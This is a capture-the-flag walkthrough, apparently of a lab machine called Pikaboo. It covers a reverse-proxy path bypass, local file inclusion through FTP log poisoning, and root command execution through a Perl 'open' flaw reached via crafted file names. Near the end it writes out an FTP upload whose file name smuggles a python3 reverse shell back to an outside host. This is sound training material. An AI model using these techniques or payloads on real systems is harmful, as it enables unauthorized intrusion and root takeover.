$ nmap -p- --min-rate 5000 10.129.95.191
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-01 23:10 EDT
Warning: 10.129.95.191 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.129.95.191
Host is up (0.022s latency).
Not shown: 65018 closed tcp ports (conn-refused), 514 filtered tcp ports (no-response)
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
Anonymous logins does not work for this site. We can take a look at the HTTP site.
Apache Reverse Proxy
It's a Pokemon based website:
The admin portal requires credentials to access:
We can take a look at the Pokatdex and see that there are entries for each specific creature. Props to the creator for designing these:
When we try to view the entries, we just see this:
The URL visited http://10.129.95.191/pokeapi.php?id=6, which might be relevant later on. I tested LFI and other types of injection, but nothing worked. I took a closer look at the administrator login, and found that if I keyed in wrong credentails, I got a unique error.
For some reason, it was redirecting me to port 81 on the localhost. This means that some type of proxy is being used to forward the traffic to the right destination. It's called a reverse proxy, and looking for exploits for it led me to this:
Based on the PoC, this is a misconfiguration regarding the proxy used for the /admin directory. We can test it out and find that we have bypassed authentication using this method and get a 403 instead.
I tried a gobuster scan on this new URL to see if we can find new files to access, and it seems server-status has been left publicly available.
server-status contains logs for the Apache server for administrators to view and see, and now we can see it too!
Srv PID Acc M CPU SS Req Conn Child Slot Client VHost Request
0-0 11485 0/6079/29503 W 0.71 0 0 0.0 3.33 16.96 127.0.0.1 localhost:81 GET /admin_staging HTTP/1.1
1-0 11496 0/3246/29312 _ 0.41 2 0 0.0 1.78 16.59 127.0.0.1 localhost:81 GET /admin/../nscom HTTP/1.0
2-0 4598 0/21543/29637 _ 2.67 2 0 0.0 12.28 16.76 127.0.0.1 localhost:81 GET /admin/../32994 HTTP/1.0
3-0 11499 0/1293/23731 _ 0.22 2 0 0.0 0.71 13.03 127.0.0.1 localhost:81 GET /admin/../21630 HTTP/1.0
4-0 4607 0/19820/29429 _ 2.32 2 0 0.0 11.34 16.87 127.0.0.1 localhost:81 GET /admin/../41221 HTTP/1.0
There are loads of requests, and it seems that there's an extra directory at admin_staging. We can visit it using http://10.129.95.191/admin../admin_staging/.
Admin Staging
This was a dashboard of some sort.
The URL is http://10.129.95.191/admin../admin_staging/index.php?page=dashboard.php. This could be vulnerable to LFI. I used wfuzz to see what files existed on the page using the LFI wordlist. Ideally, we are looking for some type of configuration files.
$ wfuzz -c -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt --hl=367 http://10.129.95.191/admin../admin_staging/index.php?page=FUZZ
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.129.95.191/admin../admin_staging/index.php?page=FUZZ
Total requests: 920
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000733: 200 413 L 1670 W 19803 Ch "/var/log/vsftpd.log"
000000734: 200 557 L 1379 W 174271 Ch "/var/log/wtmp"
It seems that we have found 2 files, and both of which have different lengths, indicating that something actually appeared on the page. When we view the FTP log file using curl, we find a username for FTP
The weird part was that there was no password in sight, so we couldn't do much here.
FTP PHP Injection
Notice that we are able to write to the logs via the username logins, and the page is in PHP. There's a chance that we have to do PHP injection via the username parameter in FTP. This might work because the FTP logs are displayed on the page, whereas the rest of the files aren't.
After viewing the page again, we would get a shell as www-data.
We can grab the user flag.
Privilege Escalation
Cron -> FTP Creds -> Perl RCE
I downloaded LinPEAS to the machine and it did the enumeration for me. Within the cronjob section, it found 1:
* * * * * root /usr/local/bin/csvupdate_cron
This was running a bash script as root, and we can view it:
#!/bin/bashfor d in/srv/ftp/*docd $d/usr/local/bin/csvupdate $(basename $d) *csv/usr/bin/rm-rf*done
This uses another script csvupdate. It's a Perl script, and it's rather long, but here's the end of it:
if($#ARGV < 1){die"Usage: $0 <type> <file(s)>\n";}my $type = $ARGV[0];if(!exists $csv_fields{$type}){die"Unrecognised CSV data type: $type.\n";}my $csv = Text::CSV->new({ sep_char =>',' });my $fname = "${csv_dir}/${type}.csv";open(my $fh, ">>", $fname) ordie"Unable to open CSV target file.\n";shift;for(<>){chomp;if($csv->parse($_)) {my @fields = $csv->fields();if(@fields != $csv_fields{$type}) {warn"Incorrect number of fields: '$_'\n";next; }print $fh "$_\n"; }}close($fh);
It seems to use parse on the CSV. I'm not super great at Perl, so I googled every function used here for vulnerabilities. It appears that open can be used for RCE for some weird reason.
Right, so now we have a potential RCE vector, but we still need to find out how to place files into the FTP server. This means we need top find credentials somewhere. Checking the /opt directory, I found some files:
www-data@pikaboo:/opt/pokeapi$ ls
CODE_OF_CONDUCT.md README.md data pokemon_v2
CONTRIBUTING.md Resources docker-compose.yml requirements.txt
CONTRIBUTORS.txt __init__.py graphql test-requirements.txt
LICENSE.md apollo.config.js gunicorn.py.ini
Makefile config manage.py
Within the /config/settings.py, we can find some stuff pertaining to LDAP on this machine.
We can find the user password in Base64 here, and when decoded it gives the password _G0tT4_C4tcH'3m_4lL!_
We can't SSH in as the user with this, but we can access the FTP directory and place files.
$ ftp 10.129.95.191
Connected to 10.129.95.191.
220 (vsFTPd 3.0.3)
Name (10.129.95.191:kali): pwnmeow
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
Now, we need to place a maliciously named CSV file to get RCE via Perl. There were a load of files within the FTP server, so I just used the one that was updated most recently.
Based on the StackOverflow question, we have to name our file | <insert bash command>.csv. In my testing, it seems to reject / characters for some reason. So let's create a payload without all of that using a python3 reverse shell.
ftp> put test "|python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("\"10.10.14.13\",4444));[os.dup2(s.fileno(),f)for\ f\ in(0,1,2)];pty.spawn(""\"bash\")';.csv"
Remember to have a backslash behind all spaces and spaces to allow the upload to work. After waiting for a little while, we would get a reverse shell on the specified port.